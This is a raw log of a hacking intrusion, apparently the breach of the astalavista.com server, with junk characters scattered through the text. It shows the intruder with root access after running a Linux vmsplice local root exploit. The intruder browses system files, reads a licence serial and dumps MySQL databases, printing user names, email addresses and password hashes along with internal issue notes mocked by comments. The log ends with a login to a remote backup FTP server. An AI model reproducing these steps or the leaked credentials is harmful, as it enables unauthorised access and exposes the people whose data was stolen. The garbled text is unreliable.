" n0 v+ E g3 zdrwx—— 2 com com 4096 Jun 4 04:04 backups6 c1 P5 p; P4 z- S# h: M
-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql
$ s6 b. g2 \2 m8 }- Ddrwxr-xr-x 2 com com 4096 May 12 15:20 backup_system& c/ j, s) l* l! J. k& q
-rw——- 1 com com 21880 Jun 2 08:07 .bash_history
1 g/ C$ x, Q! ~2 q0 X: B1 F& N3 q-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout2 D8 n( j' y" Q
-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile4 s3 o: T- D% o7 V; b; e2 \! C
-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc
: J" ]( K3 u- X7 n! Wdrwx–x–x 3 com com 4096 Jan 29 2008 domains; U6 L1 ^& i' f" P6 W* N. v
-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed
1 w+ ~) N9 W8 {: qdrwxrwx— 3 com mail 4096 Jan 6 19:24 imap$ N. [& G6 Q+ B- a/ z
-rw——- 1 com com 69 Nov 18 2008 .lesshst/ A. p; ^1 ?! A) r
drwx—— 2 com com 4096 Sep 24 2007 mail
- G. \0 ?" R4 B0 K4 j" a7 q+ Q) c-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history
: S+ r+ Q8 \1 U; edrwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp: S1 ~2 Z6 |# f# H$ M, B
lrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html/ A7 `* E1 N6 z
-rw-r—– 1 com mail 34 Sep 24 2007 .shadow
; Q6 f0 c9 M. Y4 B8 r: Fdrwx—— 2 com com 4096 Aug 26 2008 .ssh) Q; X! ~0 I' E; z9 w. S# O6 z
-rwx—— 1 com com 8515 Feb 10 2008 t
6 j3 p6 _ u3 @! s-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c$ i% g& z+ S1 V- h' i+ w8 b
drwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp
+ b& j. Q- m9 @# n- b-rw-rw-r– 1 com com 617 May 20 2008 .toprc+ d+ h. X% k9 o. ]
-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql8 M6 u M4 k$ H) l& P$ y6 D
-rw——- 1 com com 16629 Mar 28 21:46 .viminfo5 Z Z1 X8 b% r+ y$ q9 y; s
-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc
- }( A9 |9 u r) ]
2 q4 G, F* q$ J7 j! F! a- Psh-3.2# head t.c' Q3 h/ d9 q2 a1 i! t
/*+ p6 _+ @* _" v* C
* jessica_biel_naked_in_my_bed.c
8 T+ x; S7 y: v# ]" `" u3 ^! F*
0 s: c$ U J( P+ e+ @& b; A. Y* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.9 w+ f9 Q* m, W; z" F7 C
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
0 U' P+ R. x& M, y* Stejnak je to stare jak cyp a aj jakesyk rozbite.! v5 n& _# ~& e& J) k) z. d" ?
*- t: I3 t' Q' ]: x- D/ @ s; G
* Linux vmsplice Local Root Exploit, @! F5 r- H3 z6 G2 i
* By qaaz& _! y5 x5 [% q( V6 A
*6 a: i2 d1 M) W8 k0 P8 D7 F& u
0 u4 p9 d) d3 U3 n9 psh-3.2# cd /* U, F3 C/ b% B( U0 m) A5 W" P
sh-3.2# ls -la
p! j# U1 i' \9 c0 n9 C) U. x2 `( ctotal 360, Q7 X. S" X/ F9 D0 N
drwxr-xr-x 25 root root 4096 Jun 3 02:43 .) @3 `* Q. S& Y+ T8 X
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..1 ^7 L4 `: q4 o; X$ a _
-rw——- 1 root root 10240 Jun 3 02:39 aquota.group8 X+ N) k; f* V& y# w% ?# a
-rw——- 1 root root 10240 Jun 3 02:39 aquota.user) z) [* l( l3 x( q9 p5 {
-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db
: E+ [4 g) {. a3 C-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck
5 c9 D8 w' _& n9 _( ]6 c+ |-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel
5 I" B3 O. ~ D8 O4 j5 F' Edrwxr-xr-x 3 root root 4096 Dec 29 2007 backup g1 f5 X8 b+ ?
drwxr-xr-x 2 root root 4096 Jun 4 04:03 bin" G0 W% ^% a6 E
drwxr-xr-x 5 root root 4096 Jun 2 14:06 boot6 J! }) L+ ` p6 D H: G% L
drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev
, j( h9 G% b( @8 \! `" k& ?drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc" D6 s+ F! _1 Q2 ^& H% s# j# E
drwxr-xr-x 14 root root 4096 Mar 11 17:56 home7 n4 m' P3 J+ ?2 Z
-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf
& ~' A& S; R1 v4 \drwxr-xr-x 11 root root 4096 Jun 4 04:02 lib
, Q1 O9 E0 y/ H* v4 L( ^7 {drwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64+ S. O3 Z* u# ]' j2 i; @) }1 K7 k
drwx—— 2 root root 16384 Sep 11 2007 lost+found! Y- B \2 U6 m/ X7 y4 Y" U
drwxr-xr-x 2 root root 4096 Mar 11 17:56 media
i' W4 _" K2 D$ Vdrwxr-xr-x 2 root root 0 Jun 3 02:43 misc
( Q8 x5 c% L2 V6 {# W6 v- R4 Ydrwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt
! T5 d3 z0 s9 F% Y8 t-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg+ x; {2 H* ~. W% T- L
drwxr-xr-x 2 root root 0 Jun 3 02:43 net8 _$ p3 a' t# h( y7 s
drwxr-xr-x 3 root root 4096 Mar 11 17:56 opt# s6 `" u1 z! s0 K, o/ o, G
dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc1 O0 P* _- \! q4 q) G9 n" L2 U
drwxr-x— 15 root root 4096 Jun 4 08:40 root; W! `- Y( T. p6 i; S
drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin& j6 h4 g- r0 u
drwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux
2 _, ?( D& f4 m) V( tdrwxr-xr-x 2 root root 4096 Mar 11 17:56 srv& B5 }2 L5 [6 K# J @# c: x
drwxr-xr-x 11 root root 0 Jun 3 02:42 sys; X1 B; q7 G- t2 F( _) M) q- {
drwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp: X" E; l) O; B B& i& E1 Q
drwxr-xr-x 16 root root 4096 Jun 2 13:56 usr
S v# j% e% J2 m5 }drwxr-xr-x 26 root root 4096 Jun 4 03:16 var. L* A8 y! D' D7 W5 {8 Z
7 \. c# k8 ]2 ]9 K" b( r0 X3 X
sh-3.2# cd opt5 m; j* p- D- X1 Q o3 O2 i
sh-3.2# ls -la3 }5 S H4 o9 p6 o2 k
total 20
6 i; h4 Z; d: [+ `- D; K) fdrwxr-xr-x 3 root root 4096 Mar 11 17:56 .
4 ^. v4 _ A& ?5 {2 }1 q9 _drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..& K' C; E4 y2 n% a0 \
drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws9 l: H' i" k. b' v5 b
1 M/ P5 `( a8 H5 K1 Dsh-3.2# cd lsws/
0 r) ]; c9 ?1 c0 C X$ w* E6 B6 |sh-3.2# ls -la* E4 X( Z8 c/ l9 I$ }% Y$ ]# v
total 1084 C4 G/ V5 _1 E* D$ q
drwxr-xr-x 15 root root 4096 Mar 20 2008 .- X% z) p6 U6 \/ t& i/ M9 X# \6 J
drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..
# u! x# @" N; L5 o* adrwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons% O; g- u2 e# @2 J+ @7 @. O
drwxr-xr-x 13 root root 4096 May 29 15:10 admin
* P W0 \6 m3 v* Rdrwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate
8 m5 y' m+ j# y7 v. Pdrwxr-xr-x 2 root root 4096 May 29 15:10 bin6 ~6 f9 S+ b" m& n6 W
drwx—— 4 apache apache 4096 Jun 3 02:43 conf
, p. \) P8 `2 o, g% p3 y! S& u6 {drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT7 b; a9 N6 ]+ t. n
drwxr-xr-x 2 root root 4096 Sep 15 2008 docs6 i0 B4 u- E5 l" R
drwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin
' ?' m' ]5 B( }( Adrwxr-xr-x 2 root root 4096 Sep 15 2008 lib
v7 E9 l8 J1 E/ w7 [-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE/ G4 U7 e* q+ v: s/ j0 r
-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP
2 s$ C( r7 W5 N j* S-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL: s: p3 ^2 z% U& p
-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP
" O. R2 j' m$ ?4 x9 n' m8 r0 wdrwxr-xr-x 2 root root 20480 Jun 4 09:55 logs
# r0 p: E( d1 ?( v) Z3 t. g) bdrwxr-xr-x 2 root root 4096 Mar 20 2008 php
. p+ ~ B! C' `- V; g, Zdrwx—— 2 apache apache 4096 Mar 20 2008 phpbuild# ]) f& T' O9 }1 x8 I3 T3 l: Z
drwxr-xr-x 3 root root 4096 Mar 20 2008 share$ y# p9 _% I8 ]& n9 _6 L
-rw-r–r– 1 root root 6 May 29 15:10 VERSION; U$ D! c3 s5 e2 T) @7 |6 b0 n0 c
" V5 R+ Y6 U# B& W, w! Ush-3.2# cd conf h2 L9 X8 v# N+ k
sh-3.2# ls -la' Z+ Q& ]) X$ S; u, \1 j
total 48
}: p. ^( p/ @7 \* `" N9 }$ Rdrwx—— 4 apache apache 4096 Jun 3 02:43 .
6 s$ }# r! C4 ]/ v8 D# O9 N0 pdrwxr-xr-x 15 root root 4096 Mar 20 2008 ..
' ?1 C4 v: R( a5 ~drwx—— 2 apache apache 4096 Mar 20 2008 cert" p- F( V) ]' C+ k# W6 j
-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml
, r7 O1 [4 ]( b-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak/ G" R' o) ?: B7 n( W. W& z
-rw-r–r– 1 root apache 0 Jun 3 14:11 .last
9 U- F( d3 J y. c0 B) R-rw——- 1 apache apache 256 May 29 15:10 license.key
# Y1 I9 Y4 b0 C6 z-rw——- 1 apache apache 256 Mar 21 2008 license.key.old8 w# J. M5 h; J4 S& K. c4 \
-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties
) ~; u3 {: D# @+ y( A" \. V4 q$ C-rw——- 1 apache apache 20 May 29 15:10 serial.no0 d% Y: \4 D* ~8 y5 `* k
drwx—— 2 apache apache 4096 Mar 20 2008 templates P% ^2 }' L7 F( c9 x0 ]
. M) y0 C2 q9 }* ?* S' ^- |sh-3.2# cat serial.no
+ ]5 {* R8 R9 j$ g: V7 g6 MIbDl-oVsO-CKqL-wVRa
2 ^) z1 ^2 y) S, b3 \' p" r( ]5 e: d: B$ M4 a9 d
sh-3.2# mysql7 `- N; G0 ?, a/ w5 m" S' }7 J
Welcome to the MySQL monitor. Commands end with ; or \g.* h0 M# S7 y- n5 ]5 H5 q9 c
Your MySQL connection id is 286844' W0 k9 ?$ v3 D* C* M3 [% c0 B
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
2 x3 T/ _. M8 \+ p6 y$ ?- d1 Y2 z) m: e
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.5 ]0 ~5 b }/ w- D$ e
& H, A. l; E+ K# [
mysql> show databases;% T% F0 w, w) O/ q
+———————–+1 a+ ~2 f- ]7 P! {6 c
| Database |5 r* J' s0 J+ J2 @! h- ]7 n& w
+———————–+' [ f! n) ?: H8 ?
| information_schema |
( }0 e4 w( D! j n1 @; S| astanet_ads |
0 i5 l- D' G* c" c| astanet_mailing_lists |
' {& T! f! h) S| astanet_mediawiki |. B! Z: B& R0 S; i
| astanet_membersystem |
# x- f9 H `; O| com_contrexx |' p# ?2 }) f$ w! n5 W' l
| com_contrexx2 |
/ e/ A7 I1 ~: ?) W3 u| com_contrexx2_live |$ d/ @+ c( k( k# c7 I+ e( W
| da_roundcube |& M- ?* P9 c) O9 M7 g' C' j
| dolphin |$ h {0 K0 y2 i! v9 v7 H9 L
| ideapool |7 ?3 g4 w% n- R5 u* C
| mysql |/ P- [0 {" ^5 q2 v4 o3 y
| test |% |4 v7 _( a$ F' k+ J
| yourmaster |
3 [" I/ S# ]5 O. r+———————–+# A$ E2 s1 q+ h) J) {7 U
14 rows in set (0.00 sec)
$ X, }2 T8 {, X W1 g, w8 T3 z+ ^% Z& T, F! K1 K
mysql> use ideapool
4 x7 S3 [+ B) h) c* i" Q9 @3 YDatabase changed Z* ~+ g0 w( U- k+ a9 n1 c0 Q
mysql> show tables;3 `% H( E% h7 Q0 E
+———————————–+
3 d) g! A/ z( Y) e| Tables_in_ideapool |+ X* r( z( w4 `6 C8 e2 ^3 w2 E* P
+———————————–+6 x. Y( a8 F, h; \/ X& i
| eventum_columns_to_display |4 X6 U0 z$ K5 }+ R$ @" M' M; x
| eventum_custom_field |
0 G- {& I6 O: K4 Q| eventum_custom_field_option | V; r1 }8 q5 u5 r
| eventum_custom_filter |) _5 {/ P* `% K: X: i3 C
| eventum_customer_account_manager |/ M* y/ d8 ?! r$ U9 n' m/ B
| eventum_customer_note |
8 b: y! p2 D* F9 j# [* g- U9 X| eventum_email_account |! N% p" T* C9 J3 L0 R) H8 I6 r
| eventum_email_draft |* E7 r2 j" H0 z
| eventum_email_draft_recipient |
q& K1 z' o- U& W2 n$ n+ F| eventum_email_response |
$ Q! n0 q& e/ N# j/ P ^5 _| eventum_faq |
: \. A1 o- B/ v- e* i& y| eventum_faq_support_level |
! m& p: ^& F5 p4 a| eventum_group |
5 L4 m/ \+ K" |4 ~) Y| eventum_history_type |
/ `- x2 \9 M$ V* I) G$ V3 d: |- Y| eventum_irc_notice | S+ o R% Z! l$ t) _, y! s" D9 Z
| eventum_issue |
x5 ~1 r4 b7 T& O) m4 |) ^| eventum_issue_association |
) Q" A7 @+ C' B! I3 |( d" z| eventum_issue_attachment |+ R; h+ G. V$ y/ l0 a
| eventum_issue_attachment_file |
9 {9 n* S$ b/ G| eventum_issue_checkin |- b! V) |. z& o- o, I- X
| eventum_issue_custom_field |
+ u, L. n, ?7 w( t| eventum_issue_history |
7 G, f- X& u. k$ k: l: B# j( H| eventum_issue_quarantine |
& r% `! H E. b _- i) P' K| eventum_issue_requirement |' |. Y/ k4 C9 e N8 d! `: I% z6 R4 p* C) _
| eventum_issue_user |
P5 u. T- m$ a( V2 b; R| eventum_issue_user_replier |
2 M4 X. K6 G) t" ]| eventum_link_filter |
2 K2 {4 D4 g0 E| eventum_mail_queue |2 g4 ]& l9 _' r! g! p3 |
| eventum_mail_queue_log |
6 o# D* R4 A* S8 E| eventum_news |
- n0 J. s7 c: x0 O2 I/ i% Z| eventum_note |
% e2 s9 w! ^' J% `' W& ]1 ]& `% A5 V' {| eventum_phone_support |
! U& F% x7 o0 v: F" J6 a| eventum_project |
0 u$ e, n. E% n/ e| eventum_project_category |
. n0 a9 l, B9 E4 e2 O# H9 j| eventum_project_custom_field |
* s# g5 u/ @$ ]9 M B- _ o6 g$ |4 u| eventum_project_email_response |: M- G; B$ g& f8 Q# G
| eventum_project_field_display |
6 \- N( e" s# c* P/ P| eventum_project_group |
, }* a9 f( d8 `7 V. B! U| eventum_project_link_filter |# n, B4 a1 s6 |
| eventum_project_news |/ d/ K& i$ [2 ~4 H
| eventum_project_phone_category |* S6 a; c1 d9 T f
| eventum_project_priority |+ W Y) M& m9 b# B- ^( g- a7 O+ T5 q
| eventum_project_release |/ D- ]$ }9 _9 O; x. z# Z- D3 R
| eventum_project_round_robin |: p9 M" Q: d6 o' P6 f
| eventum_project_status |9 q2 s- j3 e y1 v1 r2 A
| eventum_project_status_date |
4 @9 ~ e' u; C1 e9 B7 |& D| eventum_project_user |) H. K9 F- w' t2 {# T
| eventum_reminder_action |( k: T% h3 v* k- y. X* [
| eventum_reminder_action_list |: U1 s4 Q4 g3 K# w1 h
| eventum_reminder_action_type |" R/ Y0 n( S9 {
| eventum_reminder_field |
( ]+ q* l/ ?7 K. F| eventum_reminder_history |4 P, |# A, K2 c% o1 x8 i0 \% r
| eventum_reminder_level |9 `' a p8 O8 Z8 T4 I
| eventum_reminder_level_condition |. U! \7 U, C' A6 S5 H& x! c( ~
| eventum_reminder_operator |) l( [$ A& C3 s& t Z8 d: l7 [
| eventum_reminder_priority |
. Z& n1 b5 q& {| eventum_reminder_requirement |1 x* Q }/ C6 O& v6 U7 Y
| eventum_reminder_triggered_action |
) A; c! v4 y* b3 }# I| eventum_resolution |- u1 C& D( }! C1 w9 }+ Z
| eventum_round_robin_user |
. R& u8 o2 ~" e0 p| eventum_search_profile |7 }% {' i8 h* \ Y+ W
| eventum_status |- P4 {$ I+ s+ u; I
| eventum_subscription |6 h7 P. a; m7 C& J' p4 H. B
| eventum_subscription_type |
$ t% S5 D. `6 c( Y p| eventum_support_email |" t0 A% s0 N' e/ p" d- z
| eventum_support_email_body |, m$ N7 b( w @! g' X R& L
| eventum_time_tracking |2 r& I. O0 R3 m0 N
| eventum_time_tracking_category |8 a) L/ c2 E5 ?! G4 b
| eventum_user |+ M% P5 c! d9 i2 ^( x$ I3 y
+———————————–+2 Y7 \! q. O8 y8 P; U, |) l
69 rows in set (0.00 sec)
- g* j! z7 @, J( T& t f; P! z6 Q7 \: j8 U) x
mysql> describe eventum_user;
5 {/ {& F$ B. Y+————————-+——————+——+—–+———————+—————-+
( w0 [* v8 ]# i9 F, t7 m| Field | Type | Null | Key | Default | Extra |6 t% Q! G) T6 l" C, X* l
+————————-+——————+——+—–+———————+—————-+5 ^- T$ C% B. `# C1 c, B7 A
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |/ N( H! s2 G( b; Y# w+ _6 S9 Z
| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |
- g4 I; P, D0 T4 J| usr_customer_id | int(11) unsigned | YES | | NULL | |/ g( V! C4 X1 v8 ]7 |% o
| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |
" P# E# f. ?5 r| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |* Y* V/ E4 C' x# o# z* d0 Y
| usr_status | varchar(8) | NO | | active | |
|; `/ W) d0 x; R& z) P| usr_password | varchar(32) | NO | | | |
1 @5 H: L+ D, X4 O& J4 E| usr_full_name | varchar(255) | NO | | | |1 `5 V% R0 U4 L2 t
| usr_email | varchar(255) | NO | UNI | | |
) K& J+ n0 w7 l: q4 I. e| usr_preferences | longtext | YES | | NULL | |
3 x. @% _& B& S( D1 [4 }| usr_sms_email | varchar(255) | YES | | NULL | |
: Y* |8 e1 B0 F' V4 U5 @| usr_clocked_in | tinyint(1) | YES | | 0 | |. _9 L/ S3 P- ~( N' ?
| usr_lang | varchar(5) | YES | | NULL | |) c z& {8 k; h9 F% q4 \+ G
+————————-+——————+——+—–+———————+—————-+
3 p6 ], j5 ^: a13 rows in set (0.00 sec)
( u" @; `4 Z: N0 c- O! Z4 ?* K1 `, w3 `9 \' x, j! \
mysql> select usr_full_name,usr_email,usr_password from eventum_user;
) P4 g' m/ k( P+———————-+——————————-+———————————-+% q" o) {% ]( [4 U, }" V7 p; g
| usr_full_name | usr_email | usr_password |' A- b( D: `( O, T( b
+———————-+——————————-+———————————-+6 l& ~3 a+ S" ]; E) C
| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 |3 Z6 [ ~: P6 r8 B6 u
| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |. l* c8 I) c, O# e- R, S e2 s, C
| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |
9 T8 D H. r# |0 G6 d7 W2 S3 V+ D' Q| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
7 [# i& @ b% n0 h. q7 D| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |
4 D4 G F: v4 m2 Q) I| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |# ~5 s' A/ A4 k+ I; M7 z' K
| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |
* _3 D+ A4 H# C& G4 `| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |
+ z/ Q2 N( g& |8 L| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |9 n% I; ^8 }, s! H$ i) G
| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |1 q$ j6 X* K* N) x y' h, l# q
| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |: g p- {1 s3 T
| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |
; T8 p& |1 w& e| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |( G4 f0 f% l$ l- Z! |6 W3 \3 @
| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |) G, ~8 z( t4 o4 [# n! K( G
| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |
& a/ P: d9 z8 U0 U% ~! L+———————-+——————————-+———————————-+
S" H1 V. O2 [& U K9 [- S15 rows in set (0.00 sec)$ R* O1 @$ I: Y# P
8 w6 U6 G" _) q! m6 H6 smysql> select iss_description from eventum_issue where iss_id = 43;
4 K; h& i; B$ H1 \+ A7 k+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
0 R. P* ~5 c4 B; @8 m9 j+ h| iss_description
' ~4 a2 `$ P) ]3 L6 V|
" s& Z: s% x7 t- e/ R0 j, |+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
# e# ^. w) U# [& O9 J: i3 w. ]- D| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be% ], B# t8 f- v$ ~
connected for 90 mins… 120mins… so what i propose is something like:" @! P, S5 K. E' `* g" D8 T
链接标记[url]http://www.surfthechannel.com/[/url]! [' V: u) l, Z/ {. N7 Z
since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system* _. n, U& C2 g& A, Y6 F
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t
# F0 l; W+ W& X; m$ t4 Nbreak any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
$ C( M6 H: `' p$ U4 I/ p0 j; Aif they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…1 `+ N" [# c6 L/ W2 Z
" n5 Q2 |+ u2 v6 x* j% p
We could also put advertisement during play on the flash video player itself… extra $$…
8 E8 o- `8 F6 U( @9 C7 c+ a2 ^1 L2 u1 r, w
By sykadul |
4 s/ a; f0 U1 l1 I2 @- j+ O4 o) D+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
" h. x/ p! J- @* B6 a1 row in set (0.00 sec). y D' T- N3 T4 I
8 G) p b& y6 L9 s6 J/ v2 T// Money and extra $$ is all they care about. remember that.
, w6 [& d; ^1 B; X
9 Z& A0 b& d1 Z5 wmysql> select iss_summary,iss_description from eventum_issue where iss_id =42;* k& N$ D8 h) L& D
+————————+——————————————————————————————————————————————————————————————————————————————-+
" b- q, r( V; {) @| iss_summary | iss_description
) m9 m/ `. |. i+ S- b4 p& N* L|. v$ s" m3 J) y3 V$ x
+————————+——————————————————————————————————————————————————————————————————————————————-+
/ f- T( p+ S( h! T# i| Forum for REAL EXPERTS | Hello,! @ e. K0 r: v _# n
! }+ I2 |; w k) SIshtus and I,
4 a3 a) R# [. O
; B0 U* s$ R0 b2 c, n# wCame up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
5 t7 O- F Q7 P+ U0 WONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..0 k% [$ S" l* g
2 z) K" x" D N% Z" B* K% e1 bOne example a friend of mine from coresecurity.com!& j0 C) L$ i# {2 S+ Y& w
& Y# O& f# J+ U: G9 sWe could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..3 K6 Q( F# d$ G
" M- E* s+ E7 t `! |9 O
|/ z$ n" H) \2 }! f; Z
+————————+——————————————————————————————————————————————————————————————————————————————+
, [( ]9 s7 S0 Z( f7 c& F' Y# W% O3 f! N1 row in set (0.00 sec), X8 s3 o- Q5 s% E' r+ N2 u. n) L' W
1 f0 W0 T9 o F, ?7 M: s" M4 G
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…
* R% t5 G2 K! M' M J6 T: n# Y& k/ Y( w0 }
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;! [3 k& [9 h0 G) w6 U7 T% e" ^
+——————+———————————————————————————————+
% x) l8 u$ ^$ ?6 `+ r| iss_summary | iss_description |! E s/ F2 U& ?+ F( F
+——————+———————————————————————————————+7 E7 Q3 U( k) T- j/ S, O6 F4 o
| Website guidance | Virtual Girl which guides you trought the website.. m: Z! h$ u- D3 S0 }. U
" ?2 j/ W: \. j( W6 v# o8 E$ r, ~
We need a girl with who you can ( talk )!!!
% o8 i; ]! z K& |) t! C" C/ VAlso for the News!
: m8 |# W2 _: h! j: n2 k3 q2 G& _So my suggestion is a girl who read you the news loud if you like!5 T1 k4 L' j" X# T' d6 }' E5 y
you can choose between read yourselfe or she read it for you or both!
% @# N, b. [0 {" x2 ^$ z
) E- _: F8 H, i4 eGo to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!0 B; |$ p4 i, Q* Y& z
' R2 P" f2 Y# c hHave a look on the example girls!!9 \) i# I0 K, X! S; I
3 x$ _# {2 z2 k/ A6 ^( s. s) E5 G链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]9 M& s' w* w2 _& B; Z, z
) }$ ~$ [( o z/ C* o
or that* {2 c6 T0 E9 z, V4 K! A' a
( J; P1 N& A8 |: p: |
链接标记[url]http://www.yellostrom.de/[/url]
% o: ]0 o" @( Y, ? ? H. R
! j2 O. H' `/ j3 b' `5 W|
& D6 I4 Y3 d" ^( Q+——————+———————————————————————————————+
2 n$ t$ O: ~( p- ^5 f: x4 g; B1 row in set (0.00 sec)
+ T, s0 G k3 z6 g3 g7 q4 u
0 e6 S9 f1 d1 x( M7 G9 j// ha ha.+ A. c1 h/ V' E0 h
) g) i( \' i4 D6 B4 h- [2 Q0 |mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;& I# ]+ X9 b0 m6 f0 f! T" _6 c$ \0 }
+————————–+———————————————————————————————————–+
6 I: v) v% E- R c& E| iss_summary | iss_description |
0 O6 p' o; x% ~+————————–+———————————————————————————————————–+. u. s) t2 c, H' u
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. | {* a# Y$ H/ ^- U! o! b' c& C. N
+————————–+———————————————————————————————————–+
: }* M$ A, ]* U1 row in set (0.00 sec)
* b. B7 r( a* O, S: r
# f3 W5 B* u5 {$ s9 G+ V# } U// LOL.# N. w0 e7 d+ A8 _5 u- _
6 _9 [' T- ^0 z: E1 p& Lmysql> exit
8 P; [; _5 u) JBye+ S. p ~0 g3 w1 A2 o# i6 o0 B
. t' b, s1 {# O f) y+ w+ U
sh-3.2# ftp 212.254.194.1632 V) C2 A t- y+ x) F2 U2 X1 q
Connected to 212.254.194.163.
2 ~* r2 ~: t6 A. X' F9 D3 E# v220 BackupCOM_VW FTP server ready.+ g% }* N V8 |4 W( b
504 AUTH: security mechanism ‘GSSAPI’ not supported.1 Z. J; s- e* w2 l! J
504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.* C3 ?* V; h1 n9 y6 T7 G( l: s
KERBEROS_V4 rejected as an authentication type6 R1 x( I- h* D: E: P# q! D6 E
Name (212.254.194.163:root): astalavista.com
$ O' R# }: O- d4 o8 @! O- Q0 S331 Password required for astalavista.com.
* w! ~7 H& F2 M0 O1 A+ wPassword:
- S* U' U2 l9 [& M# b, U N6 f230 User astalavista.com logged in.5 T. _9 l( m- B* i7 c$ T
Remote system type is UNIX.3 r4 d& `; u/ a- {: E1 v1 A
Using binary mode to transfer files.
1 G P' d) c- X7 yftp> ls -la
4 g% F" P u! s5 k1 z% _1 j! Y0 b5 X4 R227 Entering Passive Mode (212,254,194,163,2,188)
; D+ \8 q- f3 z( F% ]# P150 Opening BINARY mode data connection for ‘file list’.9 V" i* I: P+ i! R/ a
dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com6 e8 p- M% N+ f( \+ {
226 Transfer complete.9 a. x! f- l5 W4 F0 {
ftp> cd astalavista.com
+ Y; e% I; W" J- O, J7 P% k3 J250 CWD command successful.
# ^) G( Z+ h x; R: c" tftp> ls -la6 }% T! z1 a! _3 N) z: r( i1 m) Q! V
227 Entering Passive Mode (212,254,194,163,2,189)5 D5 |7 J2 N) J# }0 A! \$ v" W) o- L
150 Opening BINARY mode data connection for ‘file list’.
